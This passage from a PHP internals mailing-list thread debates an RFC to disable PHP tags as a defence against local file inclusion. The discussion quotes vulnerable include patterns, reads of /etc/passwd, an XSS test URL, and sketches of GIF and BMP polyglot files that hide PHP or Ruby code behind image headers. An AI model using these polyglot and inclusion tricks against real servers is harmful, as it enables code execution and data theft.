Disabling PHP tags by php.ini and CLI options

12 years ago by Yasuo Ohgaki — view source

unread

Hi all,

This is the RFC as in the title.
Although it's not a direct security measure, but it's related
to critical security problem prevention.

If you are not familiar to how to execute arbitrary PHP code,
steal data from RDBMS via SQL injection and LFI, it may be
interesting.

This RFC will not break any existing code. Programmers
may keep full backward compatibility while getting better
security.

https://wiki.php.net/rfc/nophptags

Please read and give comments.
Thank you.

P.S. This RFC is based on April Fool RFC written by Moriyoshi,
but this is serious RFC.

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Yasuo Ohgaki — view source

unread

Hi all,

I've written most of thing that I would like to mention for this RFC.
I tried to be precise and understandable for anyone. If you have
questions, you are welcomed both on this list and in private.

Regards,

P.S. Directly fixing bad English on wiki is certainly appreciated.

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by John LeSueur — view source

unread

Hi all,

I've written most of thing that I would like to mention for this RFC.
I tried to be precise and understandable for anyone. If you have
questions, you are welcomed both on this list and in private.

Regards,

P.S. Directly fixing bad English on wiki is certainly appreciated.

--
Yasuo Ohgaki
yohgaki@ohgaki.net

--

I'm still unclear how LFI is a real concern. I have yet to see a sane
example of code that is vulnerable. No one should ever write:

include $_REQUEST['var'];
include $_SESSION['var'];
include $varFromDb;

Do you have an example of real-life modern code that is vulnerable? The
closest I've seen is some form of front controller:

$pathParts = implode('/', $_SERVER['PATH_INFO']);
$controllerClass = 'Controller' . $pathParts[0];
$controller = new $controllerClass;

which then in the autoloader, uses the class name to include the file.
Depending on the autoloader implementation, this is either invulnerable to
LFI, or very, very unlikely to be exploitable.

Now, as a webserver admin, maybe you have someone writing code that you
don't trust, and can't control. I don't see how an optional non-embedded
mode solves that problem, since it is a voluntary measure?

Someone mentioned open_basedir as a mitigation, and I feel it is superior,
since an admin can impose it without having to rely on voluntary
compliance. If you want something stronger, then why not create something
like:(note: this is not a real proposal)

safeinclude "/some/base/dir", $file;

which is equivalent to

$origBasedir = ini_set('open_basedir', '/some/base/dir');
include "/some/base/dir/$file";
ini_set('open_basedir', $origBasedir);

which allows the developer to specify where he expects the file to be, so
that attackers can't manipulate the filename to access any location they
want.

summary:

Is there an example of modern, sane code that is vulnerable to LFI? (you
mentioned some CVE's related to it, can you point them out?)
Isn't embedded vs. non-embedded mode a voluntary measure, thus not
protecting those inexperienced enough to write code that is vulnerable to
LFI?
Aren't there better options for protection against LFI?

12 years ago by Ferenc Kovacs — view source

unread

On Tue, Apr 10, 2012 at 3:36 PM, John LeSueur john.lesueur@gmail.comwrote:

Hi all,

I've written most of thing that I would like to mention for this RFC.
I tried to be precise and understandable for anyone. If you have
questions, you are welcomed both on this list and in private.

Regards,

P.S. Directly fixing bad English on wiki is certainly appreciated.

--
Yasuo Ohgaki
yohgaki@ohgaki.net

--

I'm still unclear how LFI is a real concern. I have yet to see a sane
example of code that is vulnerable. No one should ever write:

include $_REQUEST['var'];
include $_SESSION['var'];
include $varFromDb;

Do you have an example of real-life modern code that is vulnerable?

http://web.nvd.nist.gov/view/vuln/search-results?query=php+inclusion&search_type=all&cves=on

Someone mentioned open_basedir as a mitigation, and I feel it is superior,
since an admin can impose it without having to rely on voluntary
compliance. If you want something stronger, then why not create something
like:(note: this is not a real proposal)

safeinclude "/some/base/dir", $file;

which is equivalent to

$origBasedir = ini_set('open_basedir', '/some/base/dir');
include "/some/base/dir/$file";
ini_set('open_basedir', $origBasedir);

I think safeinclude wouldn't set open_basedir(as you can only tighten the
basedir restriction currently), but simply check against the allowed
path(s) and include the file if the path matches the whitelist, and that is
easily achievable from userland already.
On the other hand, if you would like to "jail" a piece of third party code,
having the ability to set the open_basedir for that codeblock would be
handy, so maybe this would be worth evaluating.

call_user_func_jail(
function() {
return call_third_party_insecure_app();
},
'/var/www/'.PATH_SEPARATOR.'/tmp/'
);

which allows the developer to specify where he expects the file to be, so
that attackers can't manipulate the filename to access any location they
want.

summary:

Is there an example of modern, sane code that is vulnerable to LFI? (you
mentioned some CVE's related to it, can you point them out?)

see above

Isn't embedded vs. non-embedded mode a voluntary measure, thus not
protecting those inexperienced enough to write code that is vulnerable to
LFI?

I think it is, so those who need it most wouldn't use it imo.

Aren't there better options for protection against LFI?

as I wrote in my previous email on this topic, I think that proper user
input validation (including the file uploads, and properly restricting the
execution of the uploaded files) and already present additional hardening
options (open_basedir, allow_url_include) should be enough to prevent any
kind of LFI/RFI vulnerabilities if properly used.
I think it would be better idea to promote those techniques instead of
adding another somehow obscure option which wouldn't be used by the target
audience, but would be abused.

--
Ferenc Kovács
@Tyr43l - http://tyrael.hu

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

It seems motivation of this RFC is better to be stated.
Motivation to have this RFC is

"File Includes" is fatal security breach.
The reason why PHP is unsecure to "File Include" than other
language is "Mandatory embed mode"
Non mandatory embed mode gives option users to better security.

With this RFC, PHP could be as safe as other scripting languages
with respect to file includes. This RFC is fully compatible with current
code. Writing backward compatible code is as few as 3 lines.

Most of security measures are not perfect solutions, but
mitigation, just like canary and DEP. I suppose people who are
concerned with security understand the value of these protections.

Is there any good reasons not to have non mandatory embed
mode as a additional security measure? Why not to make it harder
for attackers to exploit?

In short, I'm really annoyed to hear "PHP is insecure than
Ruby/Perl/Python/etc"

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by John Crenshaw — view source

unread

From: yohgaki@gmail.com [mailto:yohgaki@gmail.com] On Behalf Of Yasuo Ohgaki

Hi,

It seems motivation of this RFC is better to be stated.
Motivation to have this RFC is

"File Includes" is fatal security breach.

The reason why PHP is unsecure to "File Include" than other language is "Mandatory embed mode"

Non mandatory embed mode gives option users to better security.

With this RFC, PHP could be as safe as other scripting languages with respect to file includes. This RFC is fully compatible with current code. Writing backward compatible code is as few as 3 lines.

No, I understood the reasons, but I reject the assumption that you are making. The "embed mode" doesn't have a measurable impact on the security of this system. The vulnerable code can be exploited in countless ways with or without embed mode.

Most of security measures are not perfect solutions, but mitigation, just like canary and DEP. I suppose people who are concerned with security understand the value of these protections.

Look, I'm the first to stand up for improved security, but that's now what we have here. Just calling this a security improvement doesn't make it true.

Is there any good reasons not to have non mandatory embed mode as a additional security measure? Why not to make it harder for attackers to exploit?

Yes. This fundamentally breaks the language. PHP was first and foremost a template language. In fact, the strong template integration is a huge part of why one would build a web site in PHP, not C++.

In short, I'm really annoyed to hear "PHP is insecure than Ruby/Perl/Python/etc"

Anyone who says this is wrong. Ruby is in fact far less secure, because it doesn't even have cursory escaping functions and a variety of unpredictable behaviors (implicit returns) can lead to wild results.

John Crenshaw
Priacta, Inc.

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

I've reorganized benefits in the RFC and would like to share

https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now

2012/4/11 John Crenshaw johncrenshaw@priacta.com:

From: yohgaki@gmail.com [mailto:yohgaki@gmail.com] On Behalf Of Yasuo Ohgaki

Hi,

It seems motivation of this RFC is better to be stated.
Motivation to have this RFC is

"File Includes" is fatal security breach.

The reason why PHP is unsecure to "File Include" than other language is "Mandatory embed mode"

Non mandatory embed mode gives option users to better security.

With this RFC, PHP could be as safe as other scripting languages with respect to file includes. This RFC is fully compatible with current code. Writing backward compatible code is as few as 3 lines.

No, I understood the reasons, but I reject the assumption that you are making. The "embed mode" doesn't have a measurable impact on the security of this system. The vulnerable code can be exploited in countless ways with or without embed mode.

You are making bad assumption.
If we follow your assumption, we should not implement any mitigation like
null byte protection nor open_basedir.

Bottom line is LFI is real thread and critical. This RFC provides feasible way
to remove the main cause. (i.e. Mandatory embedded mode)

Most of security measures are not perfect solutions, but mitigation, just like canary and DEP. I suppose people who are concerned with security understand the value of these protections.

Look, I'm the first to stand up for improved security, but that's now what we have here. Just calling this a security improvement doesn't make it true.

Please read reorganized section and other description in the RFC.

Is there any good reasons not to have non mandatory embed mode as a additional security measure? Why not to make it harder for attackers to exploit?

Yes. This fundamentally breaks the language. PHP was first and foremost a template language. In fact, the strong template integration is a huge part of why one would build a web site in PHP, not C++.

You misunderstood the RFC. It does NOT break anything. It's the best
of both embedded and non-embedded language.

In short, I'm really annoyed to hear "PHP is insecure than Ruby/Perl/Python/etc"

Anyone who says this is wrong. Ruby is in fact far less secure, because it doesn't even have cursory escaping functions and a variety of unpredictable behaviors (implicit returns) can lead to wild results.

Yes, I know where Ruby/Perl/Python can be insecure than PHP.
I don't audit Python/Perl much but I do PHP/Ruby (and others)

If LFI vulnerability was uncommon, I would not insist this RFC strongly.
Mandatory embedded scripting far more insecure than non embedded or
optionally embedded languages.

I think you misunderstood the RFC, so I reorganized a little.
Please read and comment, if any.

https://wiki.php.net/rfc/nophptags

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Stas Malyshev — view source

unread

Hi!

https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now

I'm sorry, but I do not understand how your proposal prevents LFI. Let's
say you had this file kill.php:
<?php kill_kill_kill();

and you were afraid that somebody would write the code "include
$_GET['foo'];" and pass kill.php as foo and kill your server. Now, you
propose banning <?php tag. So, kill.php would look like this:

kill_kill_kill();

and you still can include it with "include $_GET['foo'];" and get the
same result. Where's the difference?

--
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/11 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now

I'm sorry, but I do not understand how your proposal prevents LFI. Let's
say you had this file kill.php:
<?php kill_kill_kill();

It's a common lazy technique that prevents unwanted script execution.
I've been using this as an additional security for a long time.
(It was common to me even before JSON hijack problem at least)

I'm sure you have seen the same code in JSON hijack countermeasure.

while(1){}

JS cannot kill script, so infinite loop is used.

and you were afraid that somebody would write the code "include
$_GET['foo'];" and pass kill.php as foo and kill your server. Now, you
propose banning <?php tag. So, kill.php would look like this:

kill_kill_kill();

We don't kill(), but validate with template_mode=off.
It's impossible injecting kill() into everywhere, but we can validate
file headers.

and you still can include it with "include $_GET['foo'];" and get the
same result. Where's the difference?

With template_mode=on, PHP behaves exactly the same as it is now.
The easiest way to prevent unwanted script execution is injecting kill()
at the beginning of file.

For files not under control, LFI just disclose it :(

With template_mode=off, all we have to do is making sure files have
valid (Non PHP code) header. Kill() injections are not required.

For files not under control, LFI results in syntax error almost always :)

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Stas Malyshev — view source

unread

Hi!

I'm sure you have seen the same code in JSON hijack countermeasure.

while(1){}

I think you misunderstood what I means. What I meant is you can inject
code without <? the same way you can inject code with <?, so where's the
improvement?
kill() function would be just an example of code being injected by
hostile third party (intent on killing your server, presumably). If I
can inject it with <?, what prevents me from injecting without <? ?

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/11 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

I'm sure you have seen the same code in JSON hijack countermeasure.

while(1){}

I think you misunderstood what I means. What I meant is you can inject
code without <? the same way you can inject code with <?, so where's the
improvement?

When template_mode=off, the only PHP tags that is allowed it
open tag at the beginning. Other PHP tags result in syntax errors.
If I have file that has kill() in the middle of file and LFI is used,
it will result in syntax error.

Improvement is "We don't have to inject kill()" and "LFI with data
files result in syntax errors instead of disclosure"
(e.g. include('/etc/passwd'), include('.htaccess'))

Did I answer for you?

kill() function would be just an example of code being injected by
hostile third party (intent on killing your server, presumably). If I
can inject it with <?, what prevents me from injecting without <? ?

If attacker can inject code at the beginning or make valid syntax
at the beginning, they can succeed injection. This is true not
only for PHP, but also Ruby/Perl/Python.

For example, a well known Ruby code injection for GIF image is

gif89a = 123;
(attack code here)

This is valid Ruby code and if attacker could find a way to load
the image, attack script can be executed.

As I stated in the RFC, template_mode=off is not a perfect solution.
Although it is not a perfect solution, but this is as effective as null
byte protection or allow_url_include.

I hope I answered your question.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Stas Malyshev — view source

unread

Hi!

If attacker can inject code at the beginning or make valid syntax
at the beginning, they can succeed injection. This is true not
only for PHP, but also Ruby/Perl/Python.

This is exactly my point. Since it does not solve the problem that you
are presenting (I am still not convinced it's our problem, but for the
same of discussion let's assume for now it is so) - why exactly would we
want to do it? I'm afraid we'd have another safe_mode scenario on our
hands here, where we lure users into complacency with false sense of
security, while not actually providing it.

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/11 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

If attacker can inject code at the beginning or make valid syntax
at the beginning, they can succeed injection. This is true not
only for PHP, but also Ruby/Perl/Python.

This is exactly my point. Since it does not solve the problem that you
are presenting (I am still not convinced it's our problem, but for the
same of discussion let's assume for now it is so) - why exactly would we
want to do it? I'm afraid we'd have another safe_mode scenario on our
hands here, where we lure users into complacency with false sense of
security, while not actually providing it.

safe_mode was security measure in first place.
(I liked it as fail safe feature. The name should have been
fail_safe_mode)

template_mode=on is not a actual security measure, but a
switch for language mode. template_mode=on has side
effect that makes PHP as safe as other scripting languages
or even better!

Therefore, it should not be misunderstood as perfect LFI
countermeasure even if I stressed on security meanings.
I'm stressing security because this actually helps PHP being
much safer than now.

For this respect, template_mode=on is like prepared query.
Prepared query is NOT designed as a security measure, but
for better performance. Prepared query is not a perfect
SQL injection countermeasure as it never escape nor
parameterize identifiers/SQL literals. It works well as a
security measure for most cases, though.

There are many features that is used or considered as
security measure that aren't a perfect or designed for it.

We have to be careful about this so that PHP programmers
do not misunderstood LFI prevention is not required anymore,
if we are going adopt this RFC for next PHP.

PHP could be stronger against LFI compare to scripting languages
as I described in previous mail.

With this RFC, infamous reputation of LFI can be removed from PHP!

I hope most of us will accept this RFC, if it is not all.
Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Yasuo Ohgaki — view source

unread

Oops,

There are several language mistakes in previous mail, but this should be noted.

Prepared query is not a perfect SQL injection countermeasure as it
never escape nor
parameterize identifiers/SQL literals.

should be

Prepared query is not a perfect SQL injection countermeasure as it
never escape nor
parameterize identifiers/SQL statements (e.g. ORDER BY ASC/DESC, etc).

I've seen ASC/DESC as a parameter in a prepared query.
It should be validated if they are user inputs.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

2012/4/11 Yasuo Ohgaki yohgaki@ohgaki.net:

Prepared query is not a perfect
SQL injection countermeasure as it never escape nor
parameterize identifiers/SQL literals.

12 years ago by Stas Malyshev — view source

unread

Hi!

template_mode=on is not a actual security measure, but a
switch for language mode. template_mode=on has side
effect that makes PHP as safe as other scripting languages
or even better!

PHP is as safe as other scripting languages right now. And you are using
security talk to promote this proposal, including in this very email. If
you don't see it as security feature, please do not talk about it as a
security feature.

Therefore, it should not be misunderstood as perfect LFI
countermeasure even if I stressed on security meanings.
I'm stressing security because this actually helps PHP being
much safer than now.

I don't see how it is "much safer". Exactly the same problem exists. Not
only it is not "perfect" countermeasure, it's not countermeasure at all,
judging from your description. It's like saying "I have SQL injection
protection, but only if word "please" is not part of the SQL injection".
It's not a real protection then.

PHP could be stronger against LFI compare to scripting languages
as I described in previous mail.

PHP is as strong as any other language right now - if you include
user-supplied code, you lost, don't do it - no problem.

With this RFC, infamous reputation of LFI can be removed from PHP!

I see no "infamous reputation" except the wrong one you are creating
right now. include with user-supplied argument is a security hole, it
has nothing to do with vulnerability in PHP.

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Lester Caine — view source

unread

Stas Malyshev wrote:

PHP could be stronger against LFI compare to scripting languages

as I described in previous mail.
PHP is as strong as any other language right now - if you include
user-supplied code, you lost, don't do it - no problem.

With this RFC, infamous reputation of LFI can be removed from PHP!
I see no "infamous reputation" except the wrong one you are creating
right now. include with user-supplied argument is a security hole, it
has nothing to do with vulnerability in PHP.

Some evidence that this is an 'infamous' problem would be useful. I certainly
can only see old references to the null byte problem used for LFI which was
fixed in 5.3.4 but it's impossible to remove all the 'bad practices' from
tutorials on the internet which create many of the problems in the first place?
Certainly I can't see anything which suggests that disabling the PHP tags would
do anything for LFI? I would hope that my own sites follow the right rules to
prevent any problems already ...

--
Lester Caine - G8HFL

Contact - http://lsces.co.uk/wiki/?page=contact
L.S.Caine Electronic Services - http://lsces.co.uk
EnquirySolve - http://enquirysolve.com/
Model Engineers Digital Workshop - http://medw.co.uk//
Firebird - http://www.firebirdsql.org/index.php

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/11 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

template_mode=on is not a actual security measure, but a
switch for language mode. template_mode=on has side
effect that makes PHP as safe as other scripting languages
or even better!

PHP is as safe as other scripting languages right now. And you are using
security talk to promote this proposal, including in this very email. If
you don't see it as security feature, please do not talk about it as a
security feature.

It is just like saying "Java is more secure than C"
C is danger than Java by its nature due to memory management.

PHP is danger than others by its mandatory embedded scripting.
Not like others, PHP exposes whatever files with permission with

include $_GET['var'];

I agree it's not a security feature, but language nature. However,
it is not reasonable that not to emphasise one of the most
important benefit, isn't it?

Therefore, it should not be misunderstood as perfect LFI
countermeasure even if I stressed on security meanings.
I'm stressing security because this actually helps PHP being
much safer than now.

I don't see how it is "much safer". Exactly the same problem exists. Not
only it is not "perfect" countermeasure, it's not countermeasure at all,
judging from your description. It's like saying "I have SQL injection
protection, but only if word "please" is not part of the SQL injection".
It's not a real protection then.

There are only few perfect solutions for security. Neither
null byte protection nor allow_url_include are not a perfect
solutions.
(allow_url_include may be improved. Or is it already?)

PHP could be stronger against LFI compare to scripting languages
as I described in previous mail.

PHP is as strong as any other language right now - if you include
user-supplied code, you lost, don't do it - no problem.

This argument will be true for most of security countermeasures.
Anyway, non mandatory scripting could be think as a security
countermeasure, but it's side effect.

With this RFC, infamous reputation of LFI can be removed from PHP!

I see no "infamous reputation" except the wrong one you are creating
right now. include with user-supplied argument is a security hole, it
has nothing to do with vulnerability in PHP.

Once again, it's the same for null byte protection.
I really like the null byte protection. I think it's brilliant.

I don't know about your country, but I know many developers/users
who think PHP is dangerous because of easy LFI.

According to basic risk manage textbook, risk is a formula that consists
by "Damage when indent happened" and "The probability that a incident happens".

Damage of LFI: extreme (code execution/massive information disclosure)
Probability of LFI: common

This fact makes me to impossible to ignore the risk.
Since other people is discussing for having script only files,
considering to remove the known risk is reasonable act, I suppose.

I've spent a lot of time to describe how PHP users could be
protected from real life risk in the RFC. I hope you are not
against basic risk management principle. You don't have to
think of this RFC as security countermeasure, but the effect
of the RFC adoption should be considered.

I argue this RFC with respect to security, since security is the
primary motivation of this RFC to me. Applications like
Wordpress and other countless PHP apps are at the great risk,
since there are many developers including novice.

Why we shouldn't consider security benefits of the RFC?

Regards,

P.S.
You might have missed SQL injection and LFI.
(See bottom part of Introduction)
https://wiki.php.net/rfc/nophptags?&#introduction
SQL injections and LFI is common PHP app vulnerability.

I've updated a lot, please read at least this section also.
https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Rasmus Lerdorf — view source

unread

Therefore, it should not be misunderstood as perfect LFI
countermeasure even if I stressed on security meanings.
I'm stressing security because this actually helps PHP being
much safer than now.

I don't see how it is "much safer". Exactly the same problem exists. Not
only it is not "perfect" countermeasure, it's not countermeasure at all,
judging from your description. It's like saying "I have SQL injection
protection, but only if word "please" is not part of the SQL injection".
It's not a real protection then.

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might identify
it as a valid image whereas it doesn't prevent:

<?php kill();?>
Random bytes

from being mistakenly included. And I guess a secondary thing it might
prevent is an include of something like /etc/passwd since there is no
valid PHP code there and it would error out.

So, those are the pros. The cons are:

Creating a new mode for PHP that essentially breaks most existing PHP
code if this mode is enabled puts more pressure on people trying to
write portable code. It would encourage them to never use templating
mode since non-templating mode is the only safe approach that would work
regardless of the configuration. Much the same way that all portable
code uses <?php and no <?
Templating is a defining characteristic of PHP. For many people it is
the primary reason they even use PHP. Adding a feature that would
essentially discourage use of a defining feature of PHP is illogical.
For the /etc/passwd case, the syntax error might reveal enough data
about the contents of the file that this doesn't actually provide enough
of a benefit unless we also heavily redact what we show in a syntax
error. Of course, the argument here is not to show the error to users,
but people who write code with include $_GET['filename'] aren't likely
to follow best practices in the first place.
Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we
try to attack the actual cause of the problem. I would love to hear some
ideas along those lines that don't fundamentally change the nature of
PHP for somewhat cloudy benefits.

-Rasmus

12 years ago by Luke Scott — view source

unread

Hey Rasmus,

Here are my thoughts:

Therefore, it should not be misunderstood as perfect LFI
countermeasure even if I stressed on security meanings.
I'm stressing security because this actually helps PHP being
much safer than now.

I don't see how it is "much safer". Exactly the same problem exists. Not
only it is not "perfect" countermeasure, it's not countermeasure at all,
judging from your description. It's like saying "I have SQL injection
protection, but only if word "please" is not part of the SQL injection".
It's not a real protection then.

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might identify
it as a valid image whereas it doesn't prevent:

<?php kill();?>
Random bytes

from being mistakenly included. And I guess a secondary thing it might
prevent is an include of something like /etc/passwd since there is no
valid PHP code there and it would error out.

Isn't this determined by the web server, not PHP? The only way this
would happen is if image files were sent to the PHP interpreter or the
image had a .php.

In both cases it's the server admins responsibility to make sure the
web server doesn't send any file from an upload folder to the PHP
interpreter, with a .PHP extension or not. The programmer should also
be mindful of what extensions are being allowed to go in the upload
folder incase the server admin was negligent.

The only benefit is only having to check the start of the file for a
<?php tag. But if both the programmer and server admin are being
negligent this benefit is moot.

So, those are the pros. The cons are:

Creating a new mode for PHP that essentially breaks most existing PHP
code if this mode is enabled puts more pressure on people trying to
write portable code. It would encourage them to never use templating
mode since non-templating mode is the only safe approach that would work
regardless of the configuration. Much the same way that all portable
code uses <?php and no <?

Tom has a "similar" RFC that has two modes:

Template mode - how it is now
Code (or pure code) mode - <?php is only allowed at the top and is
optional. ?> is disallowed.

Tom's RFC calls for template mode to remain the default, but allow you
to add a flag to require/include to interpret the script in "pure
mode". Allowing an optional starting <?php (only at top) maintains
backwards compatibility with most classes.

The benefit is not having to write <?php and forbidding ?> in the
middle of a class (which most people already do voluntarily).

Templating is a defining characteristic of PHP. For many people it is
the primary reason they even use PHP. Adding a feature that would
essentially discourage use of a defining feature of PHP is illogical.

True. People are side stepping this though for template engines such
as Twig, PHPTAL, Smarty (ug..), just to name a few.

PHP is being used more as a programming language than a template
engine. People have already naturally gravitated towards keeping their
code separate.

Toms proposal of a code and template mode makes sense. It clearly
separates the two. You could theoretically enhance the template part.
Like I love the idea of PHPTAL - I wrote a similar template engine
that uses attributes to convey logic (data-if, for example). Attribute
syntax preserves the design of a template. Right now I have to parse
this and convert this to a PHP class. Wouldn't it be great if PHP did
this in its template mode? Or easily allowed people to provide
alternate "template engines" that required no pre-parsing in PHP
(other than the usual code to opcode transformation)?

For the /etc/passwd case, the syntax error might reveal enough data
about the contents of the file that this doesn't actually provide enough
of a benefit unless we also heavily redact what we show in a syntax
error. Of course, the argument here is not to show the error to users,
but people who write code with include $_GET['filename'] aren't likely
to follow best practices in the first place.

Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we
try to attack the actual cause of the problem. I would love to hear some
ideas along those lines that don't fundamentally change the nature of
PHP for somewhat cloudy benefits.

The problem is people are doing that. The solution is they should stop
doing that. Anyone doing this is asking for trouble. The fix is better
education.

In the end while I do support the idea of not allowing "embed mode"
(as a choice when doing require/include), I cannot support the idea
that it somehow makes things more secure.

Luke

12 years ago by Rasmus Lerdorf — view source

unread

Tom has a "similar" RFC that has two modes:

Template mode - how it is now

Code (or pure code) mode - <?php is only allowed at the top and is
optional. ?> is disallowed.

Tom's RFC calls for template mode to remain the default, but allow you
to add a flag to require/include to interpret the script in "pure
mode". Allowing an optional starting <?php (only at top) maintains
backwards compatibility with most classes.

And my objection to that is similar. An optional templating mode is the
same as optional short_tags. it discourages template mode the same way
short_tags are discouraged. For short_tags that discouragement makes
sense. For templating it doesn't.

-Rasmus

12 years ago by Kris Craig — view source

unread

Tom has a "similar" RFC that has two modes:

Template mode - how it is now

Code (or pure code) mode - <?php is only allowed at the top and is
optional. ?> is disallowed.

Tom's RFC calls for template mode to remain the default, but allow you
to add a flag to require/include to interpret the script in "pure
mode". Allowing an optional starting <?php (only at top) maintains
backwards compatibility with most classes.

And my objection to that is similar. An optional templating mode is the
same as optional short_tags. it discourages template mode the same way
short_tags are discouraged. For short_tags that discouragement makes
sense. For templating it doesn't.

I have some objections to that RFC as well, but one question that comes to
my mind is, does allowing a "pure code" PHP mode really discourage use of
templating mode; and, if so, how? From an MVC architectural standpoint, I
can actually see some benefit in having a type of code-only PHP file,
though Tom's current RFC negates that by allowing HTML bits to be included
upstream so I'll probably be voting it down anyway. But conceptually, at
least, I think the idea has some merit IMHO.

--Kris

-Rasmus

12 years ago by John Crenshaw — view source

unread

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might identify it as a valid image

Right, but anyone can trivially construct a fully valid bitmap with a starting byte sequence of 42 4D 3B 2F 2A, which resolves to BM;/*. PHP will decide that BM meant 'BM', effectively skipping it, then the open comment will slide the PHP interpreter past any remaining header stuff. You can close the comment and place the actual code payload anywhere in the image data. The early bytes in other image formats are similarly exploitable. As far as I can tell there is really no security win here.

Only protecting against mid-script injections and not top-of-script injections is a somewhat subtle concept when the real problem is the vulnerable include $_GET['filename'] hole. If this really is a prevalent problem, maybe instead of trying to mitigate the symptoms, why don't we try to attack the actual cause of the problem. I would love to hear some ideas along those lines that don't fundamentally change the nature of PHP for somewhat cloudy benefits.

-Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC: https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it (optionally) warns the developer that they did something very bad, regardless of whether it actually caused a problem with the specific input data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format internally, where PHP strings are actually a set of distinct blocks which each contain encoding information. This would make it possible to concatenate strings just as always, but since the attributes of each block are known the entire string contents could be manipulated to an arbitrary final encoding, (or rejected as impossible to safely convert) when the string is actually used. In the include case this isn't really very different from taint, because safe conversion is impossible, but for things like XSS and SQL injection it could actually fix the otherwise vulnerable code. A simplified example of how this might work:

http://example.com?name=%3Cscript%3Exss()%3B%3C%2Fscript%3E

// $_GET['name'] === [text&user&utf8('<script>xss();</script>')];
$name = $_GET['name'];

$welcome = html("Welcome <b>$name</b>!"); // $welcome === [html('Welcome <b>'), text&user&utf8('<script>xss();</script>'), html('</b>!')];

echo $_GET['name']; // assuming the current output format is text/html, the output will be "Welcome <b> <script>xss();</script></b>!"

Obviously this second idea is probably a prohibitively large change, there is some BC break (especially where an input was known to be HTML but secured via something like HTMLPurifier), and there are huge open questions (like how to handle string comparison). Still, I think it is interesting because it actually divines the real meaning. The intent of the above code is obvious to a developer, and something like this could bring that understanding to the final result. This specific concept has issues, but maybe it gives someone else a more practical idea.

John Crenshaw
Priacta, Inc.

12 years ago by Kris Craig — view source

unread

On Wed, Apr 11, 2012 at 10:38 AM, John Crenshaw johncrenshaw@priacta.comwrote:

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]

I guess he is saying that it prevents:

Random bytes
<?php kill();?>
More random bytes

Where random bytes might be an image file so finfo_file() might identify
it as a valid image

Right, but anyone can trivially construct a fully valid bitmap with a
starting byte sequence of 42 4D 3B 2F 2A, which resolves to BM;/*. PHP
will decide that BM meant 'BM', effectively skipping it, then the open
comment will slide the PHP interpreter past any remaining header stuff. You
can close the comment and place the actual code payload anywhere in the
image data. The early bytes in other image formats are similarly
exploitable. As far as I can tell there is really no security win here.

Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we try
to attack the actual cause of the problem. I would love to hear some ideas
along those lines that don't fundamentally change the nature of PHP for
somewhat cloudy benefits.

-Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in
the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC:
https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it
(optionally) warns the developer that they did something very bad,
regardless of whether it actually caused a problem with the specific input
data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format
internally, where PHP strings are actually a set of distinct blocks which
each contain encoding information. This would make it possible to
concatenate strings just as always, but since the attributes of each block
are known the entire string contents could be manipulated to an arbitrary
final encoding, (or rejected as impossible to safely convert) when the
string is actually used. In the include case this isn't really very
different from taint, because safe conversion is impossible, but for things
like XSS and SQL injection it could actually fix the otherwise vulnerable
code. A simplified example of how this might work:

http://example.com?name=%3Cscript%3Exss()%3B%3C%2Fscript%3E http://example.com?name=%3Cscript%3Exss%28%29%3B%3C%2Fscript%3E

// $_GET['name'] === [text&user&utf8('<script>xss();</script>')];
$name = $_GET['name'];

$welcome = html("Welcome <b>$name</b>!"); // $welcome === [html('Welcome
